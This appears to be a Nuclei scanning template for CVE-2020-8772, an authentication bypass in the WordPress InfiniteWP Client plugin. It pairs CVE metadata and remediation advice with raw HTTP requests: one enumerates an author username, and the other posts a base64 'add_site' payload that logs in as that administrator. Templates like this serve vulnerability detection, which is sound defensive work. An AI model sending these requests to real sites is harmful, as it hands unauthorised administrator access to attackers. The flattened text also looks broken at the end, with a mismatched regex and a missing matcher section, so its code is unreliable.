id: CVE-2020-8772 info: name: WordPress InfiniteWP Client < 1.9.4.5 - Authentication Bypass author: princechaddha,scent2d severity: critical description: | The InfiniteWP Client plugin before 1.9.4.5 for WordPress has a missing authorization check in iwp_mmb_set_request in init.php. Any attacker who knows the username of an administrator can log in. reference: - https://wpscan.com/vulnerability/10011 - https://nvd.nist.gov/vuln/detail/CVE-2020-8772 - https://www.webarxsecurity.com/vulnerability-infinitewp-client-wp-time-capsule/ - https://wpvulndb.com/vulnerabilities/10011 remediation: Upgrade to InfiniteWP Client 1.9.4.5 or higher. classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2020-8772 cwe-id: CWE-862 metadata: verified: "true" tags: wpscan,cve,cve2020,wordpress,wp-plugin,wp,infinitewp,auth-bypass requests: - raw: - | GET /?author=1 HTTP/1.1 Host: {{Hostname}} Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 - | POST / HTTP/1.1 Host: {{Hostname}} Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Content-Type: application/x-www-form-urlencoded _IWP_JSON_PREFIX_{{base64("{\"iwp_action\":\"add_site\",\"params\":{\"username\":\"{{username}}\"}}")}} redirects: true extractors: - type: regex name: username internal: true group: 1 part: body regex: - 'Author:(?:[A-Za-z0-9 -\_="]+)?" part: body - type: status status: - 200